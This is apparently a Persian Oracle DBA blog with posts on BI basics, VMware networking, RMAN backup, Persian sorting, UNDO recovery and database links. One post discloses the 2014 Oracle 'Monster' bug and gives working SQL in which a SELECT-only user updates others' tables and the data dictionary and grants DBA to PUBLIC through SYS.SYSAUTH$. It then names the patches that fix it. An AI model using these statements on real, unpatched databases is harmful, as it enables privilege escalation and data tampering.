مفاهیم مقدماتی هوش تجاری

محتویات

  • تعریف هوش
  • تعریف هوش‌تجاری
  • اهداف هوش‌تجاری
  • سطوح هوش‌تجاری
  • مراحل پیاده‌سازی هوش‌تجاری
  • تعریف ETL
  • نعریف Data Warehouse
  • تعریف Data Mart
  • انواع دیتابیس
  • روش بدست‌آوردن و تبدیل داده‌ها در روش سنتی

ادامه مطلب...
۲۳ اسفند ۹۴ ، ۱۵:۱۶ ۶ نظر
مهدی غفاری

برطرف شدن باگ امنیتی مهم در اوراکل

در JANUARY سال ۲۰۱۴ یک باگ امنیتی در دیتابیس اوراکل برطرف شد که کارشناسان اسم Monster BUG را روی آن گذاشتند.

در این باگ به طور خلاصه کاربری با دسترسی SELECT به جدول schema دیگری می‌تواند اطلاعات جدول را UPDATE کند.

این باگ در همه‌ی نسخه‌های جاری حال حاضر (9i, 10g, 11g, 12c) وجود دارد و فقط با اعمال patchهای امنیتی قابلیت برطرف شدن دارد.

به مثالهای زیر توجه کنید:

-- Sample 1
As the MARKUSER user:
CREATE markuser.marktab1 (mark_id VARCHAR2(20) NOT NULL);
INSERT INTO markuser.marktab1 (mark_id)
VALUES (‘Initial value’);
COMMIT;

GRANT select ON markuser.marktab1 TO lukeuser;

CREATE VIEW lukeuser.marktab1_vw1 AS
SELECT *
FROM markuser.marktab1;

UPDATE lukeuser.marktab1_vw1
SET mark_id = ‘FAIL1’;

CREATE VIEW lukeuser.marktab1_vw2 AS
SELECT MAX(mark_id)
FROM lukeuser.marktab1_vw1
GROUP BY mark_id;

UPDATE marktab1_vw2
SET mark_id = ‘FAIL2’;

SELECT *
FROM markuser.marktab1;

CREATE VIEW marktab1_vw3 AS
SELECT *
FROM marktab1_vw1
WHERE 1 IN (
SELECT 1
FROM marktab1_vw1
WHERE ROWNUM = 1
);

UPDATE marktab1_vw3
SET mark_id = ‘FAIL3’;

SELECT * FROM markuser.marktab1;

And if the user DOESN’T have the CREATE VIEW system privilege?
UPDATE
(WITH x AS
(SELECT * FROM markuser.marktab1)
SELECT * FROM x)
tab1
SET mark_id = ‘FAIL4’;

Whoops. This query will return ‘FAIL4’:
SELECT *
FROM markuser.marktab1;

Not only can you update user tables, but what about the data dictionary? Yep, that too. As JOHNUSER:
UPDATE
(WITH x AS
(SELECT * FROM audit_actions)
SELECT * FROM x)
tab1
SET name = ‘FAIL5’;

This query will return ‘FAIL5’:
SELECT name
FROM audit_actions;

As the JOHNUSER, who has the SELECT ANY DICTIONARY system privilege, get the grantee#/user_id of the MARKDBA power user using the ALL_USERS view:
SELECT *
FROM sys.sysauth$
WHERE grantee# = (
SELECT user_id
FROM all_users
WHERE username = ‘MARKDBA’)
AND rownum = 1;

This returns grantee# = 221, privilege# = 261 and sequence# = 12506869
We could look up the PRIVILEGE# in SYS.SYSTEM_PRIVILEGE_MAP, but not all privileges are there, such as #4 (DBA) and we’re busy people, right?
Instead, we look up the MARKDBA user in the SYS.SYSAUTH$ table to ensure a tautology to expose the bug, then we give DBA access (privilege# = 4) to the PUBLIC (grantee# = 1) role:

UPDATE
(WITH x AS (
SELECT *
FROM sys.sysauth$
WHERE grantee# = 221
AND privilege# = -261
AND sequence# = 12506869
)
SELECT * FROM x) tab1
SET grantee# = 1, privilege = 4;

مثال ۲:

-- Sample 2
create user user1 identified by 123 ;

grant create session , create table to user1;

grant select on scott.emp to user1;

conn user1/123

select ename , sal from scott.emp where ename='ALLEN';
ENAME SAL
---------- ----------
ALLEN 3600

1 rows selected.

update scott.emp set sal=1000 where ename='ALLEN';
update scott.emp set sal=1000 where ename='ALLEN'
*
ERROR at line 1:
ORA-01031: insufficient privileges

update (with tmp as (select * from scott.emp) select * from tmp) set sal=1000 where ename='ALLEN';

1 row updated.

commit;
Commit complete.

select ename , sal from scott.emp where ename='ALLEN';
ENAME SAL
---------- ----------
ALLEN 1000

خوشبختانه این مشکل با ارائه Oracle Critical Patch Update Advisory - October 2014 توسط شرکت اوراکل برطرف شده است.

شما با مراجعه به support.oracle.com می‌توانید برای نسخه‌ی ۱۱.۲.۰.۳ به دنبال شماره patch زیر برای آپدیت سال ۲۰۱۴ باشید:

Patch 19271438: DATABASE SECURITY PATCH UPDATE 11.2.0.3.0 (CPUOCT2014)

همچنین برای آپدیت سال ۲۰۱۵:

Patch 20803576: DATABASE SECURITY PATCH UPDATE 11.2.0.3.0 (CPUJUL2015)

همکاران محترم میتوانند برای اعمال patchهای امنیتی اکانت متالینک را از طریق لینک زیر تهیه فرمایند:

فروش اکانت متالینک اوراکل ویژه اشخاص و سازمان‌ها

همچنین این patch امنیتی برای پلتفرم‌های زیر عرضه شده:

منبع

۲۳ اسفند ۹۴ ، ۱۵:۰۷ ۰ نظر
مهدی غفاری

انواع شبکه در VMware Workstation Pro

Network Types

  • Host-Only
  • NAT
  • Bridge

اگه کارت شبکه‌ی سیستم guest در حالت host only قرار بگیره یعنی می‌تونه با host های guest دیگه ارتباط داشته باشه و در حقیقت یک سوئیچ مجازی این وسط ایجاد میشه و ماشین‌ها به هم وصل میشن همچنین از طریق این سوییچ مجازی میتونه به شبکه سیستم host ما هم دسترسی داشته باشه (پس ضمن اینکه VMهاتون باهم ارتباط داره با سیستم host اتون هم ارتباط خواهید داشت)

(پس اگه قرار نیست تو شبکه فعالیت داشته باشید و مجازی‌سازی به صورت لوکال‌ه vmها رو روی حالت host-only قرار بدید که بتونن همدیگه رو ببینن)

نکته: خود Vmware روی کارت شبکه مجازیش یه dhcp server مجازی داره که باید اون رو غیرفعال کنیم

همون NAT خودمون در Network+ هستش پس وقتی یک VM رو در حالت NAT قرار بدید این VM میتونه بیرون رو ببینه اما از بیرون کسی نمیتونه این سیستم رو ببینه دقیقاً همون مکانیزمی که NAT داره که میگه من از داخل همه سیستم‌های بیرون رو میبینم ولی برعکسش امکان پذیر نیست

یعنی همونطوری که guest میتونه شبکه بیرون رو ببینه دیگران هم از شبکه‌های بیرونی میتونن وارد guestهامون بشن انگار که یک سیستم واقعی در شبکه واقعی‌امون درست کردیم

۲۲ اسفند ۹۴ ، ۱۴:۲۱ ۰ نظر
مهدی غفاری

پروژه درس پایگاه داده - نرم‌افزار جامع فروشگاه رایانه‌ای

دریافت بک‌آپ پایگاه‌داده
حجم: 816 کیلوبایت
توضیحات: جدول‌های مربوط به پروژه (Microsoft SQL Server 2014)

دریافت سورس برنامه
حجم: 29.2 مگابایت

دانلود Scene Builder

Scene Builder 8.0 (ایجاد شده توسط Gluon چون اوراکل نسخه‌های جدید رو فقط در قالب سورس کد منتشر میکنه)

یا

Scene Builder 2.0 رو از اوراکل دانلود کنید

ادامه مطلب...
۲۲ اسفند ۹۴ ، ۱۴:۰۳ ۰ نظر
مهدی غفاری

بک‌آپ گیری - قسمت اول

یک بک‌آپ‌گیری درست و مطمئن باعث میشه که ما یک اطمینان بازیابی داشته باشیم و این اطمینان بازیابی هست که تو سازمانها بیشتر نیاز است. پس بازیابی خیلی اتفاق نمی‌افته و اطمینان به بازیابی خییلی مهمه. شما می‌تونید حتی مانورهاتون رو  انجام بدید و ببینید که بازیابی به طور کامل انجام میشه یا نه

این قسمت شروع مقدماتی کارکردن با RMAN هستش که چجوری به محیط خط فرمان RMAN و پنجره EM RMAN متصل بشیم و بتونیم فرمان‌های بک‌آپ‌گیری رو صادر کنیم و بتونیم با محیطش کارکنیم. محیط EM محیط خیلی ساده‌ای است برای کارکردن ولی تو این محیط شما با CONSEPTهای بک‌آپ آشنا نمی‌شید و درکشون نمی‌کنید چون کاملاً گرافیکیه همچنین مشکل TIME ZONE تهران رو داره که توسط محیط EM ساپورت نمیشه

نکته:‌ تو این سری از نوشته‌ها بک‌آپ گیری روی معماری filesystem رو بررسی میکنیم و با معماری ASM کار نداریم

یکی از مهمترین وظایف ادمین‌های دیتابیس تعیین استراتژی بک‌آپ‌ه و در حقیقیت می‌توان در ۵ لایه ادمینی دیتابیس را دسته‌بندی کرد: backupman, storageman, securityman, performanceman, clusterman و هر کدوم از اینها نیاز به یه تیم و تخصص بالا داره

تعیین استراتژی دست ادمین دیتابیسه و شما به عنوان ادمین دیتابیس باید تعیین کنید که کدوم استراتژی بیشترین کارایی رو در سازمانتون داره

استراتژی اول

بک‌آپ به صورت Backupset و از طریق Incremental Backupset در ۲ لول (لول ۰ و ۱) توصیه شده که بتونه بهینه‌ترین نوع فضا رو استفاده کنه

 

نیازسنجی بک‌آپ

برای بک‌آپ نیاز داریم که دیتابیس‌ها رو به archive ببریم بحث آرشیو کردن برای بک‌آپ نیازه

  • فعال‌سازی حالت force logging (دیتابیس هر آنچه داخلش به وقوع می‌پیونده، تمام فرآیندهای نوشتن/ خواندن/ بروزشدن/ پاک‌شدن) با فعالسازی این قابلیت تمام این فعالیت‌ها لاگ میشه و از redologها عبور میکنند در کل ما این امکان رو داریم که فرآیندها رو در دیتابیسمون از redolog عبور ندیم و ارزشش برای ما افزایش کارایی است. مثلاً ‌داریم یک insert خیلی طولانی می‌زنیم و فرصت زیادی هم نداریم پس لاگ کردن رو برمیداریم و از redolog عبور نمیکنه

خطر این اتفاق برای ما اینه که اگه فراموش کردیم و بک‌آپ‌امون رو گرفتیم اون بخش‌هایی از دیتا که عملیات غیر loging روش انجام شده قابل خوندن و بازیابی برای ما نخواهد بود و در واقع اصلا دیده نشده. به خاطر همین دیتابیس رو در وضعیت force loging قرار می‌دیم

وقتی دیتابیس در این وضعیت قرار می‌گیره یعنی همه چی به صورت اجباری باید در وضعیت loging‌ قرار بگیره تا هیچ‌چیز از گذر redologها نتونه عبور کنه و هرفرآیند بروزرسانی تو دیتابیس از این گذر عبور کنه

SQL> Alter database force logging

برای تنظیم پایگاه داده در وضعیت ARCHIVE LOG از یوزر sys استفاده می‌کنیم. برای فهمیدن اینکه دیتابیس ما تو وضعیت آرشیو هست یا نیست از دستور زیذ استفاده می‌کنیم:

SQL> archive log list

Archive Mode Database Log Mode
Enabled Automatic Archival
USE_DB_RECOVERY_FILE_DEST Archive Destination
5161 Oldest Online Log Sequence
5162 Next log Sequence To Archive
5163 Current Log Sequence

اطلاعاتی که به ما می‌رسه

Database log mode = وضعیت فعال بود لاگ

Automatic archival = وضعیت گرفتن آرشیو به صورت اتوماتیک

Archive destination = یعنی فایل‌ها در فضای پارامتر use_db_recovery_file_dest قرار می‌گیره که همون فضای fra هستش (میشه این مسیر و متغیر رو عوض کرد)

Oldest online log sequence = بحث redo log fileها هستش | شماره قدیمی‌ترین sequence ای که رخ داده

Next log sequence to archive = شماره seq بعدی که رخ میده

Current log sequence = جدیدترین sequnce

اوراکل یه فایلی داره به نام parameter file این فایل برای set کردن پارامترهای شخصی در سیستم است. اوراکل ۲ جور فایل پارامتر داره:

1: system parameter file

2: parameter file

 

تفاوت بین این ۲ فایل

اوراکل‌های قبلی parameter file فقط بود و شما به صورت آنلاین هیچ تغییری تو سطح پارامترهای سیستمی نمی‌تونستید بدید (نسخه ۸) از نسخه ۹ به بعد system parameter file‌ رو معرفی کرد که شما برخی تنظیمات سیستمی رو می‌تونید به صورت آنلاین انجام بدید (این بهتون کمک میکنه availibility کارتون بالا بره) مثال:

lOG_ARCHIVE_DEST_1='LOCATION=X:\archive
VALID_FOR=(ALL_LOGFILES,ALL_ROLES)
DB_UNIQUE_NAME=eorg'
LOG_ARCHIVE_DEST_STATE_1=ENABLE
LOG_ARCHIVE_FORMAT=archive_%s_%t.%r
LOG_ARCHIVE_MAX_PROCESSES=9
control_file_record_keep_time = 60 

lOG_ARCHIVE_DEST_1 = اگه location ندیم از مسیر پیش‌فرضمون استفاده میکنه

VALID_FOR = برای چه حالتی valid‌ است. در اینجا برای تمام حالات و log fileها تنظیم شده است.

DB_UNIQUE_NAME = برای دیدن نام دیتابیس از show parameter db_unique_name استفاده می‌کنیم.

LOG_ARCHIVE_DEST_STATE_1 = برای اینکه کل این تنظیمات فعال باشه یا نه

LOG_ARCHIVE_FORMAT = فرمتی که برای فایلها درنظر می‌گیریم، این فرمت میتونه با یه prefix ای شروع بشه s به معنی شماره sequnce ای هستش که از redo log fileها خونده میشه(شماره sequnce الزامی و واجب هستش)، t شماره thread هستش و روی دیتابیس‌های کلاستر معنا پیدا میکنه چون ممکنه چندتا دیتابیس دیتابیس داشته باشید که از یک share drive استفاده کنند، r در حقیقت reset log id هستش(برای جلوگیری از duplicate شدن فرآیندهای recovery هستش چون sequnce ریست میشه و با ریست شدن باعث میشه که فایلها duplicate شه پس یه پارامتر اضافه می‌کنیم تا تعداد دفعات reset شدن رو داشته باشیم و باعث unique شدن فایلهامون بشه)

نکته: تخصیص sequnce از redo log file انجام میشه، درسته sequnce خود redo log file عوض نمیشه اما sequnce ای که داخل redo log file هست داره تغییر میکنه و حتی اگه شما دیتابیس رو روی mode آرشیو هم نبرید این sequnce عوض میشه و شما همیشه seqهای redo log fileهاتون در حال تغییر است. وقتی که شما ۳ تا redo log file دارید وقتی اولی، دومی، سومی پر میشه دیتابیس باید سوییچ کنه روی اولی پس چه مولفه‌ای برای شناسوندن هستش که باید سوییچ انجام بشه؟ یه seq مسلماً به صورت Internal هستش که روی این درج میشه(این seq توی فایل redo ذخیره نمیشه و هر وقت ما بخواهیم این redo رو جایی ذخیره کنیم این seq خودش رو نشون میده) ما برای حفظ ریکاوری‌مون میایم redo log file ها رو که تغییرات دیتابیس هستند رو نگه‌داری میکنیم.

نکته: برای این که بفهمیم تو حالت force logging هستیم یا نه با viwe ه v$database میتونیم لیست رو بگیریم و هم می‌تونیم بزنیم Alter database force logging و وقتی باشه میگه من تو مد لاگ‌گیری هستم. دقت کنید اگر loging فعال نباشه ممکنه برخی از دیتای شما نیاد. (این به وضعیت ادمینی بستگی داره ممکنه داده‌هایی که میخواین restore بشه یا نشه)

 

نکته: Alter database force logging بر روی performance تاثیر زیادی می‌گذارد. وقتی حجم داده‌ها از 10, 15 T می‌گذره این چیزها خودشون رو نشون میدن حتی فرآیندهای بک‌آپ‌گیری ما تاثیر زیادی بر روی سرعت و کارایی دارد مثلاً یک جدول 50T رو با چه استاتژی بک‌آپ بگیریم و کمتر به مشکل بخوریم

v$ = یک dynamic viwe از data dictionary هستش که از طریق view متادیتاهای اوراکل رو خروجی میده

 

 

۲۲ اسفند ۹۴ ، ۱۰:۴۸ ۴ نظر
مهدی غفاری

مرتب سازی حروف فارسی در اوراکل

همانطور که می‌دونید مرتب‌سازی حروف فارسی در دیتابیس اوراکل بصورت صحیح انجام نمی‌شه. حال بوسیله statement زیر می‌تونید در دیتابیس اوراکل عمل مرتب‌سازی بر روی اطلاعات فارسی را انجام بدید. شما فقط باید نام جدول و فیلدی را که نیاز دارید مرتب شود را جایگزین کنید.

SELECT
NAME ,FAMILY
FROM EMP
ORDER BY TRANSLATE(LTRIM(RTRIM(FAMILY)),'پچحخدذرزژسشصضطظعغگو','ةحخدذرزسشصض×طظعغـàه')

نکته: در صورتیکه برای کارکتر 'ک' از کد اسکی 123 استفاده شده باشد آن کلمه ای که با این کارکتر باشد باید در مرتب‌سازی در ابتدا آورده می‌شود. برای تصحیح کردن می‌تونید بصورت زیر عمل کنید.

SELECT
NAME ,FAMILY
FROM EMP
ORDER BY TRANSLATE(LTRIM(RTRIM(replace(FAMILY,chr(152),chr(223)))),'پچحخدذرزژسشصضطظعغگو','ةحخدذرزسشصض×طظعغـàه')
۱۸ اسفند ۹۴ ، ۱۲:۴۷ ۱ نظر
مهدی غفاری

recovery after losing UNDO tablespace

یه مشکلی که امروز برای یکی از دیتابیس‌هام پیش اومد این بود که درایو undo tablespaceام یکهو unmount شد و دیتابیس shutdown abort‌شد.

(دیتابیس مورد بحث SI با FS)

Details

The instance has been terminated by a database process because of a fatal internal condition, or a critical background process was killed by the user.
Logwriter is unable to write to any member of the log group because of an IO error.
Archiver is unable to archive a redo log because the output device is full or unavailable.

Agent Connection to Instance
Status
Failed Details ORA-12505: TNS:listener does not currently know of SID given in connect descriptor (DBD ERROR: OCIServerAttach)

اولین کاری که باید بکنید بالا آوردن دیتابیس تو حالت mountه

بعد با دستور زیر undo_management اتون رو روی حالت manual بذارید

alter system set undo_management = manual scope=spfile;

چون undo tablespaceامون صدمه دیده و اوراکل نمیتونه به دیتافایلهاش دسترسی داشته باشه باید یک undo tablespace دیگه ایجاد کنیم و default رو روی این tablespace بذاریم

create undo tablespace undotbs2 datafile '/oradata/undotbs110.dbf' size 10g autoextend on next 50m;

بعد از ساخت undo tablespace باید دیتابیس رو shutdown کنید اگر با حالت immediate‌ موفق به shutdown نشد abort کنید

نکته: اگه نیاز بود datafileهای مشکل‌دار undo‌ رو offline کنید

alter database datafile 20 online;

حالا یک pfile از روی spfileاتون بسازید و مقدار undo_tablespace رو به tablespace‌ جدید مقدار بدید

دیتابیس رو startup کنید و undo_managment رو روی mode auto بذارید

alter system set undo_management = auto scope=spfile;

حالا یک spfile از روی pfileاتون بسازید و دیتابیس رو خاموش و روشن کنید

همچنین دیتایکشنری‌های زیر برای مانیتور کردن وضعیت مشکلات خیلی کمک میکنه:

select file#,status from v$datafile;

select tablespace_name, sum((bytes/1024)/1024) free from dba_free_space group by tablespace_name;

select tablespace_name,status from dba_tablespaces;

select tablespace_name from dba_tablespaces;

نکته: اگه datafileهای undo قدیمیتون احتیاج به recover داشت حق دارید recoverاشون کنید ولی در مورد باقی datafileها به هیچ عنوان حق recover ندارید(چون با ctlfileهاتون تداخل ایجاد میشه - recover کردن undo هم به این دلیل مشکلی نداره چون دیتای undo رو نیازی نداریم)

نکته۲: قبل از ساختن spfile حتما با pfile نتیجه رو امتحان منید و بعد اگه خواستید spfileاش کنید حتما از قبلی یه backup بگیرید

منابع:

12345 ,6

۱۶ اسفند ۹۴ ، ۱۷:۳۵ ۰ نظر
مهدی غفاری

پروژه درس گرافیک کامپیوتری - رسم اشکال هندسی و بازی Snake

یه استاد تو دانشگاه داشتیم ازمون یه پروژه خواست به این شکل:

تو ویژوال استودیو به صورت فرم
یه سری ابجکت هندسی میخوایم (مثل دایره/ لوزی/ مثلث و ...) که متحرک باشن و بشه با موس و کیبرد کنترلشون کرد
همچنین تو فضای صفحه نمایش محدود باشه (از صفحه بیرون نزنن)

یه پروژه مار(Snake) هم با سی شارپ فرم میخوایم (خیلی خیلی ساده فقط هم تو فضای ثابت صفحه (از صفحه بیرون نره))

همچنین امکان تنظیم سرعت حرکت تو هر دو پروژه باشه و همچنین شروع و توقف حرکت

 

دریافت
حجم: 887 کیلوبایت
توضیحات: همراه با سورس

ادامه مطلب...
۰۲ اسفند ۹۴ ، ۲۲:۳۱ ۲ نظر
مهدی غفاری

ساخت databaselink

به مثال زیر دقت کنید:

Create database link myTestlink connect to system identified by 123 using 'orcl2';

خب حالا هر زمان ما از عبارت myTestlink استفاده کنیم دیتابیس اوراکل با یوزر system و پسورد 123 وصل میشه به دیتابیس orcl2

نکته: اگر مخزن در سرور localhost نیست مخزن را به صورت orcl2_computername وارد کنید. مثال: orcl2_localhost به مخزن orcl2 در همین کامپیوتر اشاره دارد. همچنین می‌توانید به جای اسم سرور از ip سرور نیز استفاده کنید.

استفاده از Database Link

بعد از ساخت Database link می‌توان گفت:

Select * from dual@myTestlink;

حذف Database Link

برای حذف Database Link می‌توانید به صورت زیر عمل کنید:

drop database link myTestlink;
۱۰ مرداد ۹۴ ، ۱۸:۰۶ ۲ نظر
مهدی غفاری

بازیابی اطلاعات در ورژن‌های مختلف اوراکل

همیشه یادتون باشه وقتی Export می‌گیرید از ورژن بالا به پایین در برخی موارد خاص ممکنه به مشکل بخورید ولی باز هم می‌تونید Export رو انجام بدید.

من خودم از 12 اکسپورت بردم رو 11 از 11 بردم رو 10 و مشکل خاصی نداشتم.

معمولاً بیشترین مشکلی که در Export روی ورژن‌های مختلف موجوده SPها هستن چون مثلاً یه SP تو 12 بوده و بعد موقع بازیابی روی مثلاً 10g چون اون SP وجود نداره SPها برنمیگردن البته بازیابی انجام میشه ولی همه SPها از کار افتادن، در این مواقع می‌توان SPها رو دوباره نوشت و کامپایل کرد.

۱۰ مرداد ۹۴ ، ۱۷:۴۱ ۰ نظر
مهدی غفاری